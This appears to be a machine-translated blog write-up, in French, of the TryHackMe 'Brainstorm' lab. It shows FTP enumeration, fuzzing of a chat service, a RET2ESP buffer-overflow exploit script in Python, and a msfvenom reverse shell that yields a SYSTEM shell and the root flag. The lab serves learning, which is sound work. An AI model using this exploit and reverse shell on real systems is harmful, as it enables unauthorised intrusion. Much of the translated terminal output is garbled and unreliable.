[Tryhackme] J'ai essayé d'infiltrer une machine Windows avec une attaque RET2ESP (débordement de tampon)! Brainstorming writing
L'URL a été copiée!
Cette fois, nous allons essayer «l'attaque RET2ESP», l'une des attaques de débordement de tampon. "Tryhackme-Brainstorm: https://tryhackme.com/room/brainstorm "
Tryhackme
Tryhackme | La formation en cybersécuritéTryhackme est une plate-forme en ligne gratuite pour apprendre la cybersécurité, en utilisant des exercices et des laboratoires pratiques, tout au long de votre navigateur!
Veuillez noter que l'explication est des spoilers.
Déployez d'abord votre machine. Sélectionnez "StartMachine" et l'IP s'affiche, donc c'est OK.
Répondre
Combien de ports sont ouverts? ()
On leur demande combien il y a de ports ouverts, donc je vais essayer de numériser des ports avec NMAP. Puisqu'il ne répond pas aux pings, définissez "-np".
J'ai répondu 3 et c'était mal. Cependant, même après avoir essayé toutes les méthodes, il était impossible d'en détecter six. Il a été rapporté sur le forum, donc je pense que c'est probablement un bug.
Pour l'instant, j'ai augmenté le nombre et la réponse est 6 qui a répondu correctement. . . (Si quelqu'un le sait, faites-le moi savoir.)
Accéder aux fichiers
J'ai découvert qu'il y avait trois ports ouverts. Ce qui est intéressant, c'est le 9999, mais veuillez noter que 21 FTP sont ouverts.
FTP peut être accessible par l'authentification anonyme. Il peut être possible d'extraire toutes les informations, y compris les fichiers exécutés, alors commençons par regarder FTP.
Quel est le nom du fichier EXE que vous avez trouvé?
Maintenant, essayons d'accéder à FTP avec une authentification anonyme. Si vous êtes un FTP qui permet l'authentification anonyme, vous devriez pouvoir vous connecter en utilisant "Anonyme".
┌── (HackLab㉿hackLab) - [~] └fique FTP 10.10.15.108 connecté à 10.10.15.108. 220 Nom du service Microsoft FTP (10.10.15.108:hackLab): Anonyme 331 Accès anonyme autorisé, envoyez l'identité (nom du courrier électronique) comme mot de passe. Mot de passe: 230 L'utilisateur connecté. Le type de système distant est Windows_NT. ftp>
Comme prévu, l'authentification anonyme a été autorisée, j'ai donc pu me connecter.
Comme il s'agit de fenêtres, j'ai essayé de regarder le contenu sur DIR, mais le message "229 entrant en mode passif étendu" a été affiché.
┌── (HackLab㉿hackLab) - [~] └fique FTP 10.10.15.108 connecté à 10.10.15.108. 220 Nom du service Microsoft FTP (10.10.15.108:hackLab): Anonyme 331 Accès anonyme autorisé, envoyez l'identité (nom du courrier électronique) comme mot de passe. Mot de passe: 230 L'utilisateur connecté. Le type de système distant est Windows_NT. ftp> dir 229 entrant le mode passif étendu (||| 49301 |) ^ c Recevoir abandonné. En attendant que la télécommande finisse d'abandonner.
Dois-je désactiver le mode passif en utilisant "passif"? Apparemment, cela fonctionnera bien. Tout comme je le pensais, j'ai obtenu "425 ne peut pas ouvrir la connexion de données".
Je vais essayer de définir "bac" en mode binaire, puis réessayer. J'ai pu vérifier le dossier avec succès.
FTP> Mode passif passif: OFF; Fallback vers le mode actif: OFF. FTP> DIR 200 EPRT Commande réussie. 150 Ouverture de la connexion des données du mode ASCII. 425 Impossible d'ouvrir la connexion de données. FTP> BIN 200 Type défini sur I. FTP> DIR 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 29-29-19 08:36<DIR> Chatserver 226 Transfert complet.
Voici un dossier appelé Chatserver. Jetons un coup d'œil au contenu.
FTP> CD Chatserver 250 CWD Commande réussie. FTP> DIR 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 29-29-19 10:26 PM 43747 Chatserver.exe 08-29-19 10:27 PM 30761 ESSFUC.DLL 226 Transfert complet.
Il y a "ChatServer.exe" et "Essfunc.dll". Je pense que cela fonctionne probablement sur 9999.
Répondre
Accéder
C'est là que le niveau de difficulté augmente en même temps. Je n'en avais aucune idée non plus, alors j'ai regardé quelques écrits. Pourtant, ce n'est pas génial. . . Le site que j'ai utilisé comme référence est répertorié en bas de l'article.
Préparation
Tout d'abord, téléchargez les deux fichiers que vous avez trouvés plus tôt à l'aide de FTP.
FTP> Get ChatServer.exe Local: Chatserver.exe Remote: Chatserver.exe 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 100% | *******************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. Commande EPRT réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 100% | *****************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************.
Ensuite, jetons un coup d'œil à ce qui se passe avec le 9999 que nous avons trouvé sur PortScan.
┌fiques (HackLab㉿hackLab) - [~] └─ $ NC -NV 10.10.15.108 9999 (inconnu) [10.10.15.108] 9999 (?) Open Welcome to Brainstorm Chat (Beta) Veuillez saisir votre nom d'utilisateur (max 20 caractères): Hacklab Write A Message: Hacking mer
Il semble qu'un service de chat soit en cours d'exécution où vous pouvez entrer un nom d'utilisateur allant jusqu'à 20 caractères et un message qui ne semble pas avoir de limite de caractère. S'il y a une possibilité d'un débordement de tampon, alors c'est un message.
Avant cela, vérifions si le chatserver.exe que vous venez de télécharger plus tôt est le même service. Déplacez le fichier que vous venez de télécharger sur votre machine Windows.
Si vous songez à l'essayer sur votre Windows (hôte) ou sur une VirtualBox, faites attention aux paramètres de votre réseau. Il y avait un phénomène où le nombre de chiffres qui a débordé augmentait si le NAT était laissé. (Environ environ 3500) Si vous installez le pont, il devrait déborder à moins de 2500. * La cause était inconnue. Cependant, pour autant que je lise le forum, il semble que le même phénomène se produit.
PS C: \ Users \ Hackl \ Share \ Brainstorm>. \ ChatServer.exe Chat Server a démarré! Appelé Essential Function DLL Version 1.00 En attente de connexions. A reçu une connexion client à partir de 127.0.0.1:59586 Client 127.0.0.1:59586 Nom d'utilisateur sélectionné: Client HackLab 127.0.0.1:59586 Connexion close.
Une fois démarré, essayez de vous connecter à partir de Kali à l'aide de NC.
┌til (HackLab㉿hackLab) - [~] └─ $ nc -nv 192.168.0.126 9999 (inconnu) [192.168.0.126] 9999 (?) Open Welcome to Braintstorm Chat (beta) Veuillez entrer votre nom d'utilisateur (max 2023 caractères: HackLab Write A Message: Hacking Wew Écrivez un message:
Nous savons maintenant qu'il s'agit d'un fichier exécutable pour le même service.
Installation du débogueur d'immunité
À partir de maintenant, nous utiliserons le débogueur d'immunité. Vous pouvez le télécharger à partir de ci-dessous, alors veuillez le télécharger. (Vous devrez saisir des informations personnelles.) Si vous n'avez pas de python, un dialogue semblera insérer Python, alors veuillez l'installer.
J'utiliserai également Mona, alors veuillez le télécharger. Veuillez inclure "Mona.py" dans "C: \ Program Files (x86) \ Immunity Inc \ Immunity Debugger \ PyCommands".
Après avoir testé le débordement, en entrant un grand nombre de caractères, déterminez le décalage EIP.
Maintenant, commencez ChatServer.exe sur votre machine Windows.
PS C: \ Users \ Hackl \ Share \ Brainstorm>. \ ChatServer.exe Chat Server a démarré! Appelé Essential Function DLL Version 1.00 En attente de connexions.
Une fois que c'est en place, démarrez l'immunité Debugger et joignez-vous Chatserver.
Une fois que vous avez attaché, vous verrez l'écran ci-dessous. Le coin inférieur droit est interrompu.
Appuyez sur F9 pour courir.
Maintenant, je vais essayer de mettre 1000 chiffres dans le nom d'utilisateur.
┌── (HackLab㉿hackLab) - [~] └─ $ nc -nv 192.168.0.126 9999 1 ⨯ (inconnu) [192.168.0.126] 9999 (?) Open bienvenue au brainstorm Chat (bêta) Veuillez entrer votre nom d'utilisateur (max 20 caractères): Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Écrivez un message: Test le mer 28 juin 23:10:36 2023 AAAAAAA a dit: Test
Cela a fonctionné sans aucun problème. On dirait qu'il a été tronqué à 20 chiffres. Il ne semblait pas y avoir de restrictions particulières sur le message, j'ai donc augmenté le nombre de chiffres et y sont entrés, et il s'est écrasé à environ 2500.
┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NV 192.168.0.126 9999 (inconnu) [192.168.0.126] 9999 (?) Open Welcome to Braintstorm Chat (beta) Veuillez entrer votre nom d'utilisateur (Max 20 caractères): Test Write A Message:
Sous le débogueur d'immunité, il dit "de passer l'exception au programme" et il s'avère qu'une erreur s'est produite. Assurez-vous également que le registre EIP est rempli de "41 (a)".
Cela signifie que le débordement de tampon est activé.
Register EIP: conserve l'adresse du code natif à exécuter ensuite
Ensuite, trouvez le décalage exact de l'EIP. Génère 2500 caractères avec "msf-potern_create".
De cette façon, j'ai découvert que le décalage EIP est 2012. De plus, comme il est "31704330", il est de 4 octets, il semble donc que le PEI puisse être écrasé entre 2013 et 2016.
Je vais le vérifier au cas où. De plus, à partir d'ici, je vais créer un outil simple dans Python. Dans le message, mettez en 2012 A à l'avance pour écraser.
Je veux m'assurer que je peux écraser EIP, donc j'ajouterai quatre B et j'essaierai de l'exécuter.
L'EIP est maintenant devenu "4242424242". 42 est B, il semble donc qu'il ait été correctement écrasé.
Répondre
「2012」
Maintenant, vous savez que vous pouvez déborder un tampon et potentiellement contrôler l'exécution, vous devez trouver une fonction où ASLR / DEP n'est pas activé. Pourquoi ne pas vérifier le fichier DLL.
Ensuite, vérifiez s'il y a suffisamment d'espace pour le shellcode immédiatement après l'EIP. Si le registre ESP peut être écrasé, il fait référence à la possibilité d'utiliser l'adresse ESP JMP pour rediriger l'exécution vers un ESP contenant un shellcode malveillant.
Pour le dire plus en détail, nous utilisons une technique d'attaque appelée RET2ESP Si le tampon déborde et que le début de la pile est un ShellCode, ESP pointe vers le shellcode, donc le rediriger vers ESP permet d'exécuter le shellcode.
ESP . Stocke l'adresse mémoire des données empilées en haut de la zone de pile. La pile s'accumule de l'adresse supérieure de la mémoire vers l'adresse inférieure, donc ESP fait référence aux données stockées à l'adresse la plus basse.
JMP ESP ESP L'ESP a une valeur différente à chaque fois qu'elle est démarrée, il n'est donc pas possible de coder Hardage l'adresse ESP. Par conséquent, vous aurez besoin d'une adresse ESP JMP qui sera redirigée vers l'ESP.
Essayez de mettre 500 CS derrière EIP et de les exécuter.
ESP pourrait être écrasé avec "C". ESP signifie que vous pouvez utiliser une adresse JMP pour rediriger l'exécution vers un ESP qui contient le shellcode.
Ensuite, nous chercherons Jum ESP.
! mona jmp -r esp
Il y avait environ 9 ESP JMP efficaces, mais nous utiliserons le premier "625014DF". À cette adresse, écrasez l'EIP, en le redirigeant vers l'ESP et en faisant l'exécution du ShellCode.
J'ai un peu réécrit le code. En effet, à partir de Python3, les cordes et les octets sont désormais différenciés avec précision.
#! / usr / bin / python Import socket, sys adresse = '192.168.0.126' port = 9999 user = 'test'.encode ("utf-8") eip = b' \ xdf \ x14 \ x50 \ x62 'message = (' a '* 2012) .encode ("utf-8") Payload = (' C '* 500). Message + = EIP Message + = Payload # Message + = NOP # Message + = Buf Try: PRINT ('[+] Envoi de tampon') S = Socket.Socket (Socket.Af_inet, Socket.Sock_Stream) S.Connect ((adresse, port)) print ("message") s.send (message + '\ r \ n'.encode ("utf-8")) sauf exception comme e: print (e) print (' [!] Impossible de se connecter à l'application. ') Sys.exit (0) Enfin: S.Close ()
Si vous laissez un point d'arrêt avec "625014DF", vous verrez qu'il fonctionne bien.
Certains caractères hexadécimaux peuvent être interdits pour empêcher l'exécution de Shellcode, alors examinons-les. Ce personnage interdit est appelé mauvais personnages. Veuillez noter que les caractères interdits ne peuvent pas être inclus dans les adresses de saut ou les codes de shell.
Un exemple typique est que \ x00 (null) est un caractère non valide et peut être exclu. Vérifiez \ x01 à \ xff.
En regardant le dépotoir hexadécimal, il n'y a pas de personnages invalides. En d'autres termes, il ne semble pas être nécessaire de considérer autre chose que des octets nuls.
Répondre
JMP ESP
Étant donné que cela fonctionnerait, vous pouvez essayer de générer du shellcode - utilisez MSFvenom pour générer ShellCode pour Windows. (Cela fonctionne, alors essayez de générer du code shell. Utilisez MSFvenom pour générer ShellCode pour Windows.)
Ensuite, nous générerons le code hexadécimal pour le shell inversé. Utilisez msfvenom.
-P: Spécifiez le type de charge utile: Windows / shell_reverse_tcp
LHOST: Spécifiez l'adresse IP de l'hôte local à laquelle vous souhaitez vous connecter: IP de la machine d'attaque
LPPORT: Spécifiez le port local pour se connecter à: le port de la machine d'attaque écoute
Dans cet état, lorsque je l'ai exécuté, j'ai pu infiltrer avec succès la machine cible.
┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NLVP 1234 Écoute sur [n'importe quel] 1234 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.131.55] 49175 Microsoft Windows [version 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Tous droits réservés. C: \ Windows \ System32> Whoami Whoami nt Authority \ System
Je vais essayer de chercher root.txt.
┌fique (HackLab㉿HackLab) - [~] └─ $ NC -NLVP 1234 1 ⨯ Écoute sur [n'importe quel] 1234 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.131.55] 49196 Microsoft Windows [version 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Tous droits réservés. ... C: \ Users \ Drake \ Desktop> Dir Dir Volume dans le lecteur C n'a pas d'étiquette. Le numéro de série du volume est le répertoire C87F-5040 de C: \ Users \ Drake \ Desktop 08/29/2019 10:55 PM<DIR> . 29/08/2019 22:55<DIR> .. 08/29/2019 10:55 PM 32 root.txt 1 fichier (s) 32 octets 2 dir (s) 19.703,422,976 octets gratuits c: \ users \ drake \ Desktop> Type root.txt type root.txt 5b1001de5a44eca471e7942a8f8a c: \ drake \ drakeeeeee71e7942a8f8a c: \ drake \ drake
J'ai fouillé le répertoire et trouvé root.txt!
Répondre
résumé
Cette fois, j'ai essayé "l'attaque RET2ESP, l'une des attaques de débordement de tampon".
C'était assez difficile, mais après avoir lu une variété d'écrits, je l'ai finalement compris. . . C'est ce que c'est. Il y en avait quelques-uns que je ne connais pas la réponse, donc je ferai des recherches à l'avenir. . .
Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large. Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!
![[Tryhackme] J'ai essayé d'infiltrer une machine Windows avec une attaque RET2ESP (débordement de tampon)! Brainstorming writing](https://hack-lab-256.com/wp-content/uploads/2023/06/hack-lab-256-samnail-23.jpg)
Piétiner
![[Hackthebox] Que faire si "une erreur de type httpclient :: receivetimeouterror s'est produite, le message est exécuté expiré" apparaît dans Evil-winrm](https://hack-lab-256.com/wp-content/uploads/2023/09/hack-lab-256-samnail-4-300x169.jpg)
![[CVE-2015-3306] J'ai énuméré la samba partagée, manipulé une version vulnérable de ProfTPD et augmenté les privilèges en manipulant les variables de chemin! Tryhackme Kenobi écrit](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-2-300x169.jpg)
![[CTF permanent pour les débutants] Setodanote CTF web writeUp! Recommandé pour avoir un sentiment de CTF!](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-1-1-300x169.jpg)
![[Tryhackme] Nous avons effectué une analyse de paquets à l'aide de Wireshark pour étudier l'intrusion de SSH-Backdoor! SURPASS2 WRITEUP](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-300x169.jpg)
![[CVE-2018-16763] CMS CMS 1.4.1 - J'ai converti l'exécution du code distant (1) en Python 3 et je l'ai piraté! Tryhackme Ignite WRIPUP](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-25-300x169.jpg)
![[Tryhackme] J'ai utilisé SSH2John pour extraire le hachage de la clé privée et pira le mot de passe avec John the Ripper! SURPASS](https://hack-lab-256.com/wp-content/uploads/2023/07/hack-lab-256-samnail-24-300x169.jpg)
![[CVE-2019-9053] J'ai essayé de le pirater en utilisant la vulnérabilité d'injection SQL dans CMS rendue simple! (Python3)](https://hack-lab-256.com/wp-content/uploads/2023/05/hack-lab-256-samnail-22-300x169.jpg)